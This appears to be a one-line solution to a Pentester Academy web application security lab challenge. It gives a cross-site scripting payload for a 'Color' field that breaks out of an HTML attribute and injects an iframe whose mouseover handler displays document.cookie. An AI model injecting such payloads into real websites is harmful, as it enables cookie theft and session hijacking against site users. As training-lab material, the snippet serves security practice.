[Pentester Academy] Web Application Security Challenge 27

Inset "><iframe src="" onmouseover="alert(document.cookie)"><xss input="" in the Color Field